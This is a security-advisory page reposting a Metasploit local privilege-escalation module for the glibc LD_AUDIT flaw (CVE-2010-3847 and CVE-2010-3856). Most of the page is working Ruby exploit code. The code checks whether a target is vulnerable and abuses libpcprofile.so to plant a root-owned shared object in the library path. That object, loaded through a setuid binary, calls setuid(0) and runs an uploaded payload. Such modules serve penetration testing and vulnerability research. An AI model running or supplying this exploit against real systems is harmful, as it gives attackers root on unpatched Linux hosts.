glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation

2018.02.11
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Linux def initialize(info = {}) super(update_info(info, 'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user. This module uses LD_AUDIT to load the libpcprofile.so shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually /lib). The file is then overwritten with a shared object then loaded with LD_AUDIT resulting in arbitrary code execution. This module has been tested successfully on glibc version 2.11.1 on Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. RHEL 5 is reportedly affected, but untested. Some glibc distributions do not contain the libpcprofile.so library required for successful exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and exploit 'zx2c4', # "I Can't Read and I Won't Race You Either" exploit 'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits 'Todor Donev', # libmemusage.so exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Automatic', { } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2010-3847' ], [ 'CVE', '2010-3856' ], [ 'BID', '44154' ], [ 'BID', '44347' ], [ 'EDB', '15274' ], [ 'EDB', '15304' ], [ 'EDB', '18105' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ], [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ], [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ], [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ] ] )) register_options( [ OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'] end def suid_exe_path datastore['SUID_EXECUTABLE'] end def check glibc_banner = cmd_exec 'ldd --version' glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first if glibc_version.to_s.eql? '' vprint_error 'Could not determine the GNU C library version' return CheckCode::Safe elsif glibc_version >= Gem::Version.new('2.12.2') || (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12')) vprint_error "GNU C Library version #{glibc_version} is not vulnerable" return CheckCode::Safe end vprint_good "GNU C Library version #{glibc_version} is vulnerable" lib = 'libpcprofile.so' @lib_dir = nil vprint_status "Checking for #{lib} in system search paths" search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='" search_paths.split('path=')[1..-1].join.split(':').each do |path| lib_dir = path.to_s.strip next if lib_dir.eql? '' libs = cmd_exec "ls '#{lib_dir}'" if libs.include? lib @lib_dir = lib_dir break end end if @lib_dir.nil? vprint_error "Could not find #{lib}" return CheckCode::Safe end vprint_good "Found #{lib} in #{@lib_dir}" unless setuid? suid_exe_path vprint_error "#{suid_exe_path} is not setuid" return CheckCode::Detected end vprint_good "#{suid_exe_path} is setuid" CheckCode::Appears end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data cmd_exec "chmod +x '#{path}'" register_file_for_cleanup path end def on_new_session(client) # remove root owned shared object from system load path if client.type.eql? 'meterpreter' client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' client.fs.file.rm @so_path else client.shell_command_token "rm #{@so_path}" end end def exploit check_status = check if check_status == CheckCode::Appears print_good 'The target appears to be vulnerable' elsif check_status == CheckCode::Detected fail_with Failure::BadConfig, "#{suid_exe_path} is not suid" else fail_with Failure::NotVulnerable, 'Target is not vulnerable' end payload_name = ".#{rand_text_alphanumeric rand(5..10)}" payload_path = "#{base_dir}/#{payload_name}" # Set target uname = cmd_exec 'uname -m' vprint_status "System architecture is #{uname}" if target.name.eql? 'Automatic' case uname when 'x86_64' my_target = targets[2] when /x86/, /i\d86/ my_target = targets[1] else fail_with Failure::NoTarget, 'Unable to automatically select a target' end else my_target = target end print_status "Using target: #{my_target.name}" cpu = nil case my_target['Arch'] when ARCH_X86 cpu = Metasm::Ia32.new when ARCH_X64 cpu = Metasm::X86_64.new else fail_with Failure::NoTarget, 'Target is not compatible' end # Compile shared object so_stub = %| extern int setuid(int); extern int setgid(int); extern int system(const char *__s); void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { setuid(0); setgid(0); system("#{payload_path}"); } | begin so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) rescue print_error "Metasm encoding failed: #{$ERROR_INFO}" elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" fail_with Failure::Unknown, 'Metasm encoding failed' end # Upload shared object so_name = ".#{rand_text_alphanumeric rand(5..10)}" so_path = "#{base_dir}/#{so_name}" upload_and_chmodx so_path, so # Upload exploit @so_path = "#{@lib_dir}/#{so_name}.so" exp = %( umask 0 LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null umask 0022 cat #{so_path} > #{@so_path} LD_AUDIT="#{so_name}.so" #{suid_exe_path} echo > #{@so_path} ) exp_name = ".#{rand_text_alphanumeric rand(5..10)}" exp_path = "#{base_dir}/#{exp_name}" upload_and_chmodx exp_path, exp # Upload payload upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' # The echo at the end of the command is required # else the original session may die output = cmd_exec "#{exp_path}& echo " output.each_line { |line| vprint_status line.chomp } end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top